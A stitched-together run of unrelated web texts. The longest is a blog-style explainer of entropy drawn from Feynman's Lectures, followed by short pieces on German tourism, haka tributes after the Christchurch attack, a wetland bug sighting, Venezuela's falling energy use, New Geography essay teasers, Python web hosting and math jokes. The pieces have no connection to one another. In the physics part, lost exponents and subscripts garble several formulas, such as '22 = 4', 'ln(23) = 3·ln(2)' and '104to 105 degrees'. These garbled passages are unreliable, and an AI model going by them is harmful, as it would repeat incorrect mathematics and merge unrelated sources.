Note the formula allows for negative values of the efficiency W/Q: if Twould be lower than one degree, we’d have to put work in and, hence, our ideal engine would have negative efficiency indeed. Hence, the formula is consistent over the whole temperature domain T > 0. Also note that, coincidentally, the three-engine set-up and the W/Q formula also illustrate the scalability of our theoretical reversible heat engines: we can think of one machine substituting for two or three others, or any combination really: we can have several machines of equal efficiency working in parallel, thereby doubling, tripling, quadruping, etcetera, the output as well as the heat that’s being taken in. Indeed, W/Q = 2W/2Q = 3W/3Q1 = 4W/4Q and so on.
Also, looking at that three-engine model once again, we can set T3 to one degree and re-state the result in terms of our standard temperature:
If one engine, absorbing heat Qat T1, delivers the heat QS at one degree, and if another engine absorbing heat Qat T2, will also deliver the same heat QS at one degree, then it follows that an engine which absorbs heat Qat the temperature T1 will deliver heat Qif it runs between T1 and T2.
That’s just stating what we showed, but it’s an important result. All these machines are equivalent, so to say, and, as Feynman notes, all we really have to do is to find how much heat (Q) we need to put in at the temperature T in order to deliver a certain amount of heat Qat the unit temperature (i.e. one degree). If we can do that, then we have everything. So let’s go for it.
Measuring entropy
We already mentioned that we can look at the entropy S = Q/T as some quantity that remains unchanged as long as we’re talking reversible thermodynamic processes. Indeed, as much Q/T is absorbed as is given back in a reversible cycle or, in other words: there is no net change in entropy in a reversible cycle. But what does it mean really?
Well… Feynman defines the entropy of a system, or a substance really (think of that body of gas in the cylinder of our ideal gas engine), as a function of its condition, so it is a quantity which is similar to pressure (which is a function of density, volume and temperature: P = NkT/V), or internal energy (which is a function of pressure and volume (U = (3/2)·PV) or, substituting the pressure function, of density and temperature: U = (3/2)·NkT). That doesn’t bring much clarification, however. What does it mean? We need to go through the full argument and the illustrations here.
Suppose we have a body of gas, i.e. our substance, at some volume Va and some temperature Ta (i.e. condition a), and we bring it into some other condition (b), so it now has volume Vb and temperature Tb, as shown below. [Don’t worry about the ΔS = Sb – Sa and ΔS = Sa – Sb formulas as for now. I’ll explain them in a minute.]
Entropy change
You may think that a and b are, once again, steps in the reversible cycle of a Carnot engine, but no! What we’re doing here is something different altogether: we’ve got the same body of gas at point b but in a completely different condition: indeed, both the volume and temperature (and, hence, its pressure) of the gas is different in b as compared to a. What we do assume, however, is that the gas went from condition a to condition b through a completely reversible process. Cycle, process? What’s the difference? What do we mean with that?
As Feynman notes, we can think of going from a to b through a series of steps, during which tiny reversible heat engines take out an infinitesimal amount of heat dQ in tiny little reservoirs at the temperature corresponding to that point on the path. [Of course, depending on the path, we may have to add heat (and, hence, do work rather than getting work out). However, in this case, we see a temperature rise but also an expansion of volume, the net result of which is that the substance actually does some (net) work from a to b, rather than us having to put (net) work in.] So the process consists, in principle, of a (potentially infinite) number of tiny little cycles. The thinking is illustrated below.
Entropy change 2
Don’t panic. It’s one of the most beautiful illustrations in all of Feynman’s Lectures, IMHO. Just analyze it. We’ve got the same horizontal and vertical axis here, showing volume and temperature respectively, and the same points a and b showing the condition of the gas before and after and, importantly, also the same path from condition a to condition b, as in the previous illustration. It takes a pedagogic genius like Feynman to think of this: he just draws all those tiny little reservoirs and tiny engines on a mathematical graph to illustrate what’s going on: at each step, an infinitesimal amount of work dW is done, and an infinitesimal amount of entropy dS = dQ/T is being delivered at the unit temperature.
As mentioned, depending on the path, some steps may involve doing some work on those tiny engines, rather than getting work out of them, but that doesn’t change the analysis. Now, we can write the total entropy that is taken out of the substance (or the little reservoirs, as Feynman puts it), as we go from condition a to b, as:
ΔS = Sb – Sa
Now, in light of all the above, it’s easy to see that this ΔS can be calculated using the following integral:
integral entropy
So we have a function S here which depends on the ‘condition’ indeed—i.e. the volume and the temperature (and, hence, the pressure) of the substance. Now, you may or may not notice that it’s a function that is similar to our internal energy formula (i.e. the formula for U). At the same time, it’s not internal energy. It’s something different. We write:
S = S(V, T)
So now we can rewrite our integral formula for change in S as we go from a to b as:
integral entropy 2
Now, a similar argument as the one we used when discussing Carnot’s postulate (all ideal reversible engines operating between two temperatures are essentially equivalent) can be used to demonstrate that the change in entropy does not depend on the path: only the start and end point (i.e. point a and b) matter. In fact, the whole discussion is very similar to the discussion of potential energy when conservative force fields are involved (e.g. gravity or electromagnetism): the difference between the values for our potential energy function at different points was absolute. The paths we used to go from one point to another didn’t matter. The only thing we had to agree on was some reference point, i.e. a zero point. For potential energy, that zero point is usually infinity. In other words, we defined zero potential energy as the potential energy of a charge or a mass at an infinite distance away from the charge or mass that’s causing the field.
Here we need to do the same: we need to agree on a zero point for S, because the formula above only gives the difference of entropy between two conditions. Now, that’s where the third law of thermodynamics comes in, which simply states that the entropy of any substance at the absolute zero temperature (T = 0) is zero, so we write:
S = 0 at T = 0
That’s easy enough, isn’t it?
Now, you’ll wonder whether we can actually calculate something with that. We can. Let me simply reproduce Feynman’s calculation of the entropy function for an ideal gas. You’ll need to pull all that I wrote in this and my previous posts together, but you should be able to follow his line of reasoning:
Entropy for ideal gas
Huh? I know. At this point, you’re probably suffering from formula overkill. However, please try again. Just go over the text and the formulas above, and try to understand what they really mean. [In case you wonder about the formula with the ln[Vb/Va] factor (i.e. the reference to section 44.4), you can check it in my previous post.] So just try to read the S(V, T) formula: it says that a substance (a gas, liquid or solid) consisting of N atoms or molecules, at some temperature T and with some volume V, is associated with some exact value for its entropy S(V, T). The constant, a, should, of course, ensure that S(V, T) = 0 at T = 0.
The first thing you can note is that S is an increasing function of V at constant temperature T. Conversely, decreasing the volume results in a decrease of entropy. To be precise, using the formula for S, we can derive the following formula for the difference in entropy when keeping the temperature constant at some value T:
Sb – Sa = S(Vb, T) – S(Va, T)
= ΔS = N·k·ln[Vb/Va]
What this formula says, for example, is that we’d do nothing but double the volume (while keeping the temperature constant) of a gas when going from to a to b (hence, Vb/V= 2), the entropy will change by N·k·ln(2) ≈ 0.7·N·k. Conversely, if we would halve the volume (again, assuming the temperature remains constant), then the change in entropy will be N·k·ln(0.5) ≈ –0.7·N·k.
The graph below shows how it works. It’s quite simple really: it’s just the ln(x) function, and I just inserted it here so you have an idea of how the entropy changes with volume. [In case you would think it looks the same like that efficiency graph, i.e. the graph of the W/Q = (T – 1)/T = 1 – 1/T function, think again: the efficiency graph has a horizontal asymptote (y = 1), while the logarithmic function does not have any horizontal asymptote.]
Capture 2
Now, you may think entropy changes only marginally as we keep increasing the volume, but you should also think twice here. It’s just the nature of the logarithmic scale. Indeed, when we double the volume, going from V = 1 to V = 2, for example, the change in entropy will be equal to N·k·ln(2) ≈ 0.7·N·k. Now, that’s the same change as going from V = 2 to V = 4, and the same as going from V = 4 to V = 8. So, if we double the volume three times in a row, the total change in entropy will be that of going from V = 1 to V = 8, which is equal to N·k·ln(8) = N·k·ln(23) = 3·ln(2). So, yes, looking at the intervals here that are associated with the same ln(2) increase in entropy, i.e. [1, 2], [2, 4] and [4, 8] respectively, you may think that the increase in entropy is marginal only, as it’s the same increase but the length of each interval is double that of the previous one. However, when reducing the volume, the logic works the other way around, and so the logarithmic function ensures the change is anything but marginal. Indeed, if we halve the volume, going from V = 1 to V = 1/2, and then halve it again, to V = 1/4, and the again, to V = 1/8, we get the same change in entropy once more—but with a minus sign in front, of course: N·k·ln(2–3) = –3·ln(2)—but the same ln(2) change is now associated with intervals on the x-axis (between 1 and 0.5, 0.5 and 0.25, and 0.25 and 0.125 respectively) that are getting smaller and smaller as we further reduce the volume. In fact, the length of each interval is now half of that of the previous interval. Hence, the change in entropy is anything but marginal now!
[In light of the fact that the (negative) change in entropy becomes larger and larger as we further reduce the volume, and in a way that’s anything but marginal, you may now wonder, for a very brief moment, whether or not the entropy might actually take on a negative value. The answer is obviously no. The change in entropy can take on a large negative volume but the S(V, T) = N·k·[ln(V) + ln(T)/(γ–1)] + a formula, with ensuring that the entropy is zero at T = 0, ensures things come out alright—as it should, of course!]
Now, as we’re continue to try to understand what entropy really means, it’s quite interesting to think of what this formula implies at the level of the atoms or molecules that make up the gas: the entropy change per molecule is k·ln2 – or k·ln(1/2) when compressing the gas at the same temperature. Now, its kinetic energy remains the same – because – don’t forget! – we’re changing the volume at constant temperature here. So what causes the entropy change here really? Think about it: the only thing that changed, physically, is how much room the molecule has to run around in—as Feynman puts it aptly. Hence, while everything stays the same (atoms or molecules with the same temperature and energy), we still have an entropy increase (or decrease) when the distribution of the molecules changes.
This remark brings us to the connection between order and entropy, which you vaguely know, for sure, but probably never quite understood because, if you did, you wouldn’t be reading this post. 🙂 So I’ll talk about in a moment. I first need to wrap up this section, however, by showing why all of the above is, somehow, related to that ever-increasing entropy law. 🙂
However, before doing that, I want to quickly note something about that assumption of constant temperature here. How can it remain constant? When a body of gas expands, its temperature should drop, right? Well… Yes. But only if it is pushing against something, like in cylinder with a piston indeed, or as air escapes from a tyre and pushes against the (lower-pressure) air outside of the tyre. What happens here is that the kinetic energy of the gas molecules is being transferred (to the piston, or to the gas molecules outside of the tyre) and, hence, temperature decreases indeed. In such case, the assumption is that we add (or remove) heat from our body of gas as we expand (or decrease) its volume. Having said that, in a more abstract analysis, we could envisage a body of gas that has nothing to push against, except for the walls of its container, which have the same temperature. In such more abstract analysis, we need not worry about how we keep temperature constant: the point here is just to compare the ex post and ex ante entropy of the volume. That’s all.
The Law of Ever-Increasing Entropy
With all of the above, we’re finally armed to ‘prove’ the second law of thermodynamics which we can also state as follows indeed: while the energy of the universe is constant, its entropy is always increasing. Why is this so? Out of respect, I’ll just quote Feynman once more, as I can’t see how I could possibly summarize it better:
Universe of entropy
So… That should sum it all up. You should re-read the above a couple of times, so you’re sure you grasp it. I’ll also let Feynman summarize all of those ‘laws’ of thermodynamics that we have just learned as, once more, I can’t see how I could possibly write more clearly or succinctly. His statement is much more precise that the statement we started out with: the energy of the universe is always constant but its entropy is always increasing. As Feynman notes, this version of the two laws of thermodynamics don’t say that entropy stays the same in a reversible cycle, and also doesn’t say what entropy actually is. So Feynman’s summary is much more precise and, hence, much better indeed:
Laws of thermodynamics
Entropy and order
What I wrote or reproduced above may not have satisfied you. So we’ve got this funny number, S, describing some condition or state of a substance, but you may still feel you don’t really know what it means. Unfortunately, I cannot do all that much about that. Indeed, technically speaking, a quantity like entropy (S) is a state function, just like internal energy (U), or like enthalpy (usually denoted by H), a related concept which you may remember from chemistry and which is defined H = U + PV. As such, you may just think of S as some number that pops up in a thermodynamical equations. It’s perfectly fine to think of it like that. However, if you’re reading this post, then it’s likely you do so because some popular science book mentioned entropy and related it to order and/or disorder indeed. However, I need to disappoint you here: that relationship is not as straightforward as you may think it is. To get some idea, let’s go through another example, which I’ll also borrow from Feynman.
Let’s go back to that relationship between volume and entropy, keeping temperature constant:
ΔS = N·k·ln[Vb/Va]
We discussed, rather at length, how entropy increases as we allow a body of gas to expand. As the formula shows, it increases logarithmically with the ratio of the ex ante and ex post volume. Now, let us think about two gases, which we can think of as ‘white’ and ‘black’ respectively. Or neon or argon. Whatever. Two different gases. Let’s suppose we’ve kept them into two separate compartments of a box, with some barrier in-between them.
Now, you know that, if we’d take out the barrier, they’ll mix it. That’s just a fact of life. As Feynman puts it: somehow, the whites will worm their way across in the space of blacks, and the blacks will worm their way, by accident, into the space of whites. [There’s a bit of a racist undertone in this, isn’t there? But then I am sure Feynman did not intend it that way.] Also, as he notes correctly: we’ve got a very simple example here of an irreversible process which is completely composed of reversible events. We know this mixing will not affect the kinetic (or internal) energy of the gas. Having said that, both the white and the black molecules now have ‘much more room to run around in’. So is there a change in entropy? You bet.
If we take away that barrier, it’s just similar to moving that piston out when we were discussing one volume of gas only. Indeed, we effectively double the volume for the whites, and we double the volume for the blacks, while keeping all at the same temperature. Hence, both the entropy of the white and black gas increases. By how much? Look at the formula: the amount is given by the product of the number of molecules (N), the Boltzman constant (k), and ln(2), i.e. the natural logarithm of the ratio of the ex post and ex ante volumes: ΔS = N·k·ln[Vb/Va].
So, yes, entropy increases as the molecules are now distributed over a much larger space. Now, if we stretch our mind a bit, we could define as a measure of order, or disorder, especially when considering the process going the other way: suppose the gases were mixed up to begin with and, somehow, we manage to neatly separate them in two separate volumes, each half of the original. You’d agree that amounts to an increase in order and, hence, you’d also agree that, if entropy is, somehow, some measure for disorder, entropy should decrease–which it obviously does using that ΔS = N·k·ln[Vb/Va] formula. Indeed, we calculated ΔS as –0.7·N·k.
However, the interpretation is quite peculiar and, hence, not as straightforward as popular science books suggest. Indeed, from that S(V, T) = Nk[lnV + (1/γ−1)lnT] + a formula, it’s obvious we can also decrease entropy by decreasing the number of molecules, or by decreasing the temperature. You’ll have to admit that in both cases (decrease in N, or decrease in T), you’ll have to be somewhat creative in interpreting such decrease as a decrease in disorder.
So… What more can we say? Nothing much. However, in order to be complete, I should add a final note on this discussion of entropy measuring order (or, to be more precise, measuring disorder). It’s about another concept of entropy, the so-called Shannon entropy. It’s a concept from information theory, and our entropy and the Shannon entropy do have something in common: in both, we see that logarithm pop up. It’s quite interesting but, as you might expect, complicated. Hence, I should just refer you to the Wikipedia article on it, from which I took the illustration and text below.
coin flip
We’ve got two coins with two faces here. They can, obviously, be arranged in 22 = 4 ways. Now, back in 1948, the so-called father of information theory, Claude Shannon, thought it was nonsensical to just use that number (4) to represent the complexity of the situation. Indeed, if we’d take three coins, or four, or five, respectively, then we’d have 2= 8, 2= 16, and 2= 32 ways, respectively, of combining them. Now, you’ll agree that, as a measure of the complexity of the situation, the exponents 1, 2, 3, 4 etcetera describe the situation much better than 2, 4, 8, 16 etcetera.
Hence, Shannon defined the so-called information entropy as, in this case, the base 2 logarithm of the number of possibilities. To be precise, the information entropy of the situation which we’re describing here (i.e. the ways a set of coins can be arranged) is equal to S = N = log2(2N) = 1, 2, 3, 4 etcetera for N = 1, 2, 3, 4 etcetera. In honor of Shannon, the unit is shannons. [I am not joking.] However, information theorists usually talk about bits, rather than shannons. [We’re not talking a computer bit here, although the two are obviously related, as computer bits are binary too.]
Now, one of the many nice things of logarithmic functions is that it’s easy to switch bases. Hence, instead of expressing information entropy in bits, we can also express it in trits (for base 3 logarithms), nats (for base e logarithms, so that’s the natural logarithmic function ln), or dits (for base 10 logarithms). So… Well… Feynman is right in noting that “the logarithm of the number of ways we can arrange the molecules is (the) entropy”, but that statement needs to be qualified: the concepts of information entropy and entropy tout court, as used in the context of thermodynamical analysis, are related but, as usual, they’re also different. 🙂 Bridging the two concepts involves probability distributions and other stuff. One extremely simple popular account illustrates the principle behind as follows:
Suppose that you put a marble in a large box, and shook the box around, and you didn’t look inside afterwards. Then the marble could be anywhere in the box. Because the box is large, there are many possible places inside the box that the marble could be, so the marble in the box has a high entropy. Now suppose you put the marble in a tiny box and shook up the box. Now, even though you shook the box, you pretty much know where the marble is, because the box is small. In this case we say that the marble in the box has low entropy.
Frankly, examples like this make only very limited sense. They may, perhaps, help us imagine, to some extent, how probability distributions of atoms or molecules might change as the atoms or molecules get more space to move around in. Having said that, I should add that examples like this are, at the same time, also so simplistic they may confuse us more than they enlighten us. In any case, while all of this discussion is highly relevant to statistical mechanics and thermodynamics, I am afraid I have to leave it at this one or two remarks. Otherwise this post risks becoming a course! 🙂
Now, there is one more thing we should talk about here. As you’ve read a lot of popular science books, you probably know that the temperature of the Universe is decreasing because it is expanding. However, from what you’ve learnt so far, it is hard to see why that should be the case. Indeed, it is easy to see why the temperature should drop/increase when there’s adiabatic expansion/compression: momentum and, hence, kinetic energy, is being transferred from/to the piston indeed, as it moves out or into the cylinder while the gas expands or is being compressed. But the expanding universe has nothing to push against, does it? So why should its temperature drop? It’s only the volume that changes here, right? And so its entropy (S) should increase, in line with the ΔS = Sb – Sa = S(Vb, T) – S(Va, T) = ΔS = N·k·ln[Vb/Va] formula, but not its temperature (T), which is nothing but the (average) kinetic energy of all of the particles it contains. Right? Maybe.
[By the way, in case you wonder why we believe the Universe is expanding, that’s because we see it expanding: an analysis of the redshifts and blueshifts of the light we get from other galaxies reveals the distance between galaxies is increasing. The expansion model is often referred to as the raisin bread model: one doesn’t need to be at the center of the Universe to see all others move away: each raisin in a rising loaf of raisin bread will see all other raisins moving away from it as the loaf expands.]
Why is the Universe cooling down?
This is a complicated question and, hence, the answer is also somewhat tricky. Let’s look at the entropy formula for an increasing volume of gas at constant temperature once more. Its entropy must change as follows:
Now, the analysis usually assumes we have to add some heat to the gas as it expands in order to keep the temperature (T) and, hence, its internal energy (U) constant. Indeed, you may or may not remember that the internal energy is nothing but the product of the number of gas particles and their average kinetic energy, so we can write:
U = N<mv2/2>
In my previous post, I also showed that, for an ideal gas (i.e. no internal motion inside of the gas molecules), the following equality holds: PV = (2/3)U. For a non-ideal gas, we’ve got a similar formula, but with a different coefficient: PV = (γ−1)U. However, all these formulas were based on the assumption that ‘something’ is containing the gas, and that ‘something’ involves the external environment exerting a force on the gas, as illustrated below.
As Feynman writes: “Suppose there is nothing, a vacuum, on the outside of the piston. What of it? If the piston were left alone, and nobody held onto it, each time it got banged it would pick up a little momentum and it would gradually get pushed out of the box. So in order to keep it from being pushed out of the box, we have to hold it with a force F.” We know that the pressure is the force per unit area: P = F/A. So can we analyze the Universe using these formulas?
Maybe. The problem is that we’re analyzing limiting situations here, and that we need to re-examine our concepts when applying them to the Universe. 🙂
The first question, obviously, is about the density of the Universe. You know it’s close to a vacuum out there. Close. Yes. But how close? If you google a bit, you’ll find lots of hard-to-read articles on the density of the Universe. If there’s one thing you need to pick up from them, is that, in order for the Universe to expand forever, it should have some critical density (denoted by ρc), which is like a watershed point between an expanding and a contracting Universe.
So what about it? According to Wikipedia, the critical density is estimated to be approximately five atoms (of monatomic hydrogen) per cubic metre, whereas the average density of (ordinary) matter in the Universe is believed to be 0.2 atoms per cubic metre. So that’s OK, isn’t it?
Well… Yes and no. We also have non-ordinary matter in the Universe, which is usually referred to as dark matter in the Universe. The existence of dark matter, and its properties, are inferred from its gravitational effects on visible matter and radiation. In addition, we’ve got dark energy as well. I don’t know much about it, but it seems the dark energy and the dark matter bring the actual density (ρ) of the Universe much closer to the critical density. In fact, cosmologists seem to agree thatρ ≈ ρc and, according to a very recent scientific research mission involving an ESA space observatory doing very precise measurements of the Universe’s cosmic background radiation, the Universe should consist of 4.82 ± 0.05% ordinary matter,25.8 ± 0.4% dark matter and 69 ± 1% dark energy. I’ll leave it to you to challenge that. 🙂
OK. Very low density. So that means very low pressure obviously. But what’s the temperature? I checked on the Physics Stack Exchange site, and the best answer is pretty nuanced: it depends on what you want to average. To be precise, the quoted answer is:
1. If one averages by volume, then one is basically talking about the ‘temperature’ of the photons that reach us as cosmic background radiation—which is the temperature of the Universe that those popular science books refer to. In that case, we get an average temperature of 2.72 degrees Kelvin. So that’s pretty damn cold!
2. If we average by observable mass, then our measurement is focused mainly on the temperature of all of the hydrogen gas (most matter in the Universe is hydrogen), which has a temperature of a few 10s of Kelvin. Only one tenth of that mass is in stars, but their temperatures are far higher: in the range of 104to 105 degrees. Averaging gives a range of 10to 104 degrees Kelvin. So that’s pretty damn hot!
3. Finally, including dark matter and dark energy, which is supposed to have even higher temperature, we’d get an average by total mass in the range of 107 Kelvin. That’s incredibly hot!
This is enlightening, especially the first point: we’re not measuring the average kinetic energy of matter particles here but some average energy of (heat) radiation per unit volume. This ‘cosmological’ definition of temperature is quite different from the ‘physical’ definition that we have been using and the observation that this ‘temperature’ must decrease is quite logical: if the energy of the Universe is a constant, but its volume becomes larger and larger as the Universe expands, then the energy per unit volume must obviously decrease.
So let’s go along with this definition of ‘temperature’ and look at an interesting study of how the Universe is supposed to have cooled down in the past. It basically measures the temperature of that cosmic background radiation, i.e. a remnant of the Big Bang, a few billion years ago, which was a few degrees warmer then than it is now. To be precise, it was measured as 5.08 ± 0.1 degrees Kelvin, and this decrease has nothing to do with our simple ideal gas laws but with the Big Bang theory, according to which the temperature of the cosmic background radiation should, indeed, drop smoothly as the universe expands.
Going through the same logic but the other way around, if the Universe had the same energy at the time of the Big Bang, it was all focused in a very small volume. Now, very small volumes are associated with very small entropy according to that S(V, T) = N·k·[ln(V) + ln(T)/(γ–1)] + a formula, but then temperature was not the same obviously: all that energy has to go somewhere, and a lot of it was obviously concentrated in the kinetic energy of its constituent particles (whatever they were) and, hence, a lot of it was in their temperature.
So it all makes sense now. It was good to check out it out, as it reminds us that we should not try to analyze the Universe as a simple of body of gas that’s not contained in anything in order to then apply our equally simple ideal gas formulas. Our approach needs to be much more sophisticated. Cosmologists need to understand physics (and thoroughly so), but there’s a reason why it’s a separate discipline altogether. 🙂 |
Touring in the centre of Europe As a travel destination Germany is becoming more and more popular among international tourists – in addition to cities, nature parks and biosphere reserves are attractive destinations.
German cuisine and German wines are among the finest Europe has to offer.
Germany is home to the world-famous composers of classical music. The most famous German composers were: Bach, Handel, Beethoven, Schumann, Mendelssohn, Brahms, Wagner and Richard Strauss.
The Germans occupy the third position of the world beer rating (after the Czechs and the Austrians) beer consumption per capita here is about 106 l of beer per year. There are more than 300 varieties of baked bread in Germany.
With a landscape that rises steadily from north to south, the geography of Germany ranges from below-sea-level marshlands in the far north to rugged, snow-capped Alps in the southernmost reaches of the country. The diverse terrain along with the numerous bodies of freshwater helps Germany's industrious population utilize the country's landforms for everything from transportation to tourism....and many-many other facts waiting for you to explore.
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On March 15, 2019, the worst mass shooting in New Zealand's history took place at two mosques in the city of Christchurch during Friday prayers.
In a nation known for its low crime rate, the terrorist attack at Al Noor Mosque and Linwood Islamic Centre that left 50 people dead and 50 more injured came as a shock.
To pay tribute to the victims and to mourn the dead, people in New Zealand and around the world have been performing the haka dance, a traditional Maori ritual that symbolizes strength and a sense of community. (You can read more about the history and cultural significance of the dance in Noel Kirkpatrick's What is a haka dance?)
In one particularly moving ceremony, students from several schools came together to perform the ritual in honor of two students who died in the attacks. You can see them in the video at top.
The students were not alone in wanting to express their grief and anger. One of New Zealand's largest Maori biker gangs, Black Power, performed the ceremonial dance near the Al Noor Mosque as you can see in the video below, in which the gang's spokesperson thanks the local police for their hard work, according to The Daily Mail.
Not everyone is familiar with the haka dance, but the desire to help is universal. CNN offers this list of other ways you can help the victims' families.
Students perform emotional haka dance in memory of Christchurch mosque victims |
Submitted by AJ Cann on Thu, 30/01/2020 - 08:13
European Chinchbug nymph
Recently the NatureSpot Team held a works outing to Everard's Meadows and while we were there we couldn't resist doing some recording. More...
We are still collating all the records, but if I was asked to guess what was the most common species I'd probably have to vote for the European Chinchbug, Ischnodemus sabuleti. There were uncountable swarms of the 2.8mm nymphs of this common wetland bug in the grass along the River Soar, but you'd never know they were there unless you delve in the tussocks. |
Venezuela’s economic collapse is laid bare when you look at how little energy the country is consuming
The future looks bleak. EPA
The country with the most oil reserves on the planet is facing a total economic crash, with wildly conflicting inflation estimates – as high as 10,000,000% if the IMF’s projections for this year are correct. There has been much discussion about the collapse in Venezuela’s oil exports, intensified by US sanctions against the state oil company PDVSA, which substantially prevents any oil trading between the two countries and takes away a steady income stream for the country. To understand the scale of the crisis, however, it is vital to look at what has been happening to energy consumption inside the country itself.
Oil consumption in Venezuela fell 37% in five years up to 2017, a reminder that the country was struggling under the Maduro administration long before the latest sanctions, which came after opposition leader Juan Guaidó announced himself the country’s rightful president in January. Unfortunately, the oil decline is not an environmental achievement but a worrying symptom of Venezuela’s economic conditions – GDP is expected to have fallen 50% between 2015 and 2019.
In a country where economic data is scarce, different oil products can be used as proxies for different kinds of economic activity. Venezuela’s oil and fuel oil export numbers give insights into the country’s incoming cash flow from abroad, for instance, while diesel consumption is a partial indicator for transport, industry and the power sector. Gasoline is a proxy for transport activity as well.
Diesel consumption declined by 11% on average each year in 2013-17, and gasoline shows a similar pattern with an average annual decline of 7% or by 27% over the same five-year period. Together, the two fuels account for approximately 70% of total oil demand in the country. From the graphic below, you can see that the collapse in oil consumption and GDP are staggeringly similar.
ppp = purchasing power parity; MT = millions of tonnes; GDP from IMF. BP Statistical Review 2018
This is not to say that the oil consumption estimates from the likes of BP are anywhere near perfect. Multiple Venezuelan official energy statistics ceased to be published between 2012 and 2015, leaving experts to build the best possible estimates from multiple sources.
BP figures for total oil consumption have been consistently revised downwards every year in recent history, as reality always punches below expectations. You can see this in the following graph, where each coloured line represents a different year of the BP Statistical Review and the estimates included for Venezuelan oil consumption: the yellow line represents the 2018 edition, whose numbers are mostly lower than the estimates in previous years’ editions.
SR = BP Statistical Review of World Energy; MT = millions of tonnes. BP Statistical Reviews 2015-18
The view from the ground
People are not driving around anymore in Venezuela. To make things worse, 90% of buses were reportedly out of action by mid-2018. This is a society that just doesn’t go out for work or travel. Businesses are also using less transportation, since they produce fewer goods than they used to – including food. The last implication is terrifying, and can easily be missed when solely looking at numbers. It is possible to survive without a car, but not without food. A litre of milk can now easily cost a tenth of a monthly salary.
Standstill in Caracas. EPA
Energy prices have been severely distorted by a combination of explosive inflation and heavy fuel subsidies. By mid-2018, you could buy 3.5m litres of gasoline for a single US dollar, but could barely buy any basic food item. Yet even if you have enough money to fill up your tank, it is increasingly difficult to find fuel – and the cost of spare parts is exorbitant.
The future of oil output looks equally bleak. Production is quickly collapsing, with refineries only running at an incredibly low 22% of capacity. The power system is actually taking a double hit: the part that depends on fossil fuels in the form of natural gas, diesel and some fuel oil is crumbling while the part driven by hydropower is being undermined by very low rainfall caused by changing climate patterns. The net result has been thousands of power failures. A dry year could aggravate things further, requiring extra fossil fuels that the country is incapable of producing or affording.
Read more: Venezuela: US sanctions hurt, but the economic crisis is home grown
As the sanctions continue to bite and hyperinflation rages on, Venezuela’s oil consumption decline looks set to reach levels last seen in the 1990s. The country began rationing gasoline in February, and is now in the awkward position of importing refined fuels from Russia, India and Spain at “horrifying” premiums, according to an executive of PDVSA. One consequence of the sanctions is that they have affected Venezuela’s ability to transport heavy oil from its own oil fields, since this is made easier by adding diluting agents that are often imported from the US.
The perfect storm of sanctions, inflation, production problems and climate change risks to power supply leaves us wondering how long it might take before the energy system comes to a total halt. As new oil statistics are published in the coming months, everyone from energy analysts to Washington policy hawks will be poring over them to try and understand where the country goes from here.
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Middle Class
America's Drift Toward Feudalism
America’s emergence in the eighteenth and nineteenth centuries represented a dramatic break from the past. The United States came on the scene with only vestiges of the old European feudal order—mostly in the plantation economy of the Deep South. There was no hereditary nobility, no national church, and, thanks to George Washington’s modesty, no royal authority. At least among whites, there was also far less poverty in America, compared to Europe’s intense, intractable, multigenerational poverty. read more »
Stomping On the Suburbs
Our way of life is a miracle for this kind of world, and … the danger lies in thinking that of it as ‘natural’ and likely to endure without a passionate determination on our part to preserve and defend it.” — W.V. Aughterson, The Australian Way of Life, 1951
Unsustainable California
The recent rash of fires, like the drought that preceded it, has sparked a new wave of pessimism about the state’s future. But the natural disasters have also obscured the fact the greatest challenge facing the state comes not from burning forests or lack of precipitation but from an increasingly dysfunctional society divided between a small but influential wealthy class and an ever-expanding poverty population. read more »
Why America’s Free Market Economy Works Better in Some Places than Others
Is America’s free market system working as advertised? Mostly yes, but it depends to a surprising degree on where you live.
read more »
Democracy is For the Dogs
With a new round of state and local elections just around the corner, I am regularly asked about what brings Americans out to the polls and helps them politically engage them with their communities. read more »
The Expanding and Dispersing San Francisco Bay Area
This decade has witnessed an unprecedented expansion of the Greater San Francisco Bay Area (the San Jose-San Francisco combined statistical area or CSA), with the addition of three Central Valley metropolitan areas, Stockton, Modesto and Merced. Over the same period, there has been both a drop in the population growth rate and a shift of growth to the Central Valley exurban metropolitan areas. read more »
Greater Los Angeles Area Growth Tanking and Dispersing
For decades, there has been substantial dispersion of population in Greater Los Angeles (Los Angeles combined statistical area or CSA), as the suburban areas outside the urban core have dominated population growth. The latest population estimates by the US Census Bureau confirm the continuation of that trend. But something has changed. In recent years the Los Angeles CSA has experienced an unprecedented slowing of growth. The little growth has occurred has been dispersed away from coast, especially from Los Angeles and Orange counties to inland Riverside and San Bernardino counties. read more »
Even Before the Blackouts, Most Californians Considered Leaving
For virtually all of its history from statehood in 1850 to 2000, California was a magnet drawing households from the rest of the United States for better lives. Indeed, in a nation that had its "American Dream," California had its own "California Dream." There was no Oregon dream, despite its mountains , seashore and proximity to California, nor was there a Maine or South Carolina dream. read more »
Dreaming of an America Where Solutions Trump Ideology
In the ever-intensifying battle between red and blue, the consultants, fixers and self-serving media thrive, but America suffers.
Now we seem destined to face a graphic battle of extremes between Donald Trump and Elizabeth Warren, two self-styled populists best suited to exacerbating polarization while both sides toss around charges of “treason” and embrace the idea of an inevitable civil war. read more »
Middle Class Racism
What do you picture when someone refers to the “Trump’s base”? read more » |
Python is a powerful object-oriented programming language, that is used for making CGI scripts and web applications. It has clear syntax and it works with third-party modules - sets of variables and subroutines, which can be called in a script, saving you time any time you write an app, because you're able to call a module rather than writing the program code for the tasks that the module performs. A couple of examples of the programs which you're able to make with Python are database management interfaces, Internet browser games, web education instruments, content management systems, scientific data processing software instruments, etc. You are able to implement Python script apps in your sites even in case you have applied an alternate web programming language to build them, which will enable you to add a number of options.
Python in Shared Website Hosting
As our servers come with a Python Apache module installed, you will be able to use any kind of script or software made in this language with any of the Linux shared website hosting that we provide and it will function perfectly. When you'd like to add extra characteristics to your sites, you are able to use ready-made Python modules that you find on third-party websites, you can write your own code when you have the programming skills or you can combine both in order to get the best of the language. In addition, you can combine Python with various other web development languages and have a custom solution for your website that will both meet your requirements about what the site has to do, and also improve the overall satisfaction of your visitors with regard to what they receive. |
A Beginners Guide To Tips
Math Jokes That Land
Math is perceived differently by different people. It is a walk in the path for some people. Others find it impossible to do basic counting on their fingers. Humour is how most of us cope with numerical issues. We all have a funny side so when it comes to mathematical humor comes to play. We can make maths fun by making maths funny. this website has some math jokes that do not need you to show your working.
Maths became difficult to understand when they decided to introduce an alphabet. Math with numbers was complex enough, but somehow letters had to be added to the entire mix and worsen the situation.
People who can clearly not count are easily picked out in express lanes at the supermarket with baskets full of items. It is quite a shame when you see such people as they clearly cannot count and it is not that they are trying to be rude or anything.
